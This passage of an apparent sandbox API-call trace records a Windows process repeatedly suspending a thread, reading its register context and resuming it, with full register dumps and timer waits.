[77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.423] ResumeThread (hThread=0x170) returned 0x1 [0179.423] CloseHandle (hObject=0x170) returned 1 [0179.423] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.423] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.423] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0179.423] SuspendThread (hThread=0x170) returned 0x0 [0179.423] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.433] ResumeThread (hThread=0x170) returned 0x1 [0179.433] CloseHandle (hObject=0x170) returned 1 [0179.433] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.433] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.433] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0179.433] SuspendThread (hThread=0x170) returned 0x0 [0179.434] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.436] ResumeThread (hThread=0x170) returned 0x1 [0179.436] CloseHandle (hObject=0x170) returned 1 [0179.436] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.436] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.436] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0179.436] SuspendThread (hThread=0x170) returned 0x0 [0179.436] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.489] ResumeThread (hThread=0x170) returned 0x1 [0179.489] CloseHandle (hObject=0x170) returned 1 [0179.489] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.489] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.489] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0179.489] SuspendThread (hThread=0x170) returned 0x0 [0179.489] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.661] ResumeThread (hThread=0x170) returned 0x1 [0179.662] CloseHandle (hObject=0x170) returned 1 [0179.662] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.662] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.662] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0179.662] SuspendThread (hThread=0x170) returned 0x0 [0179.662] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, 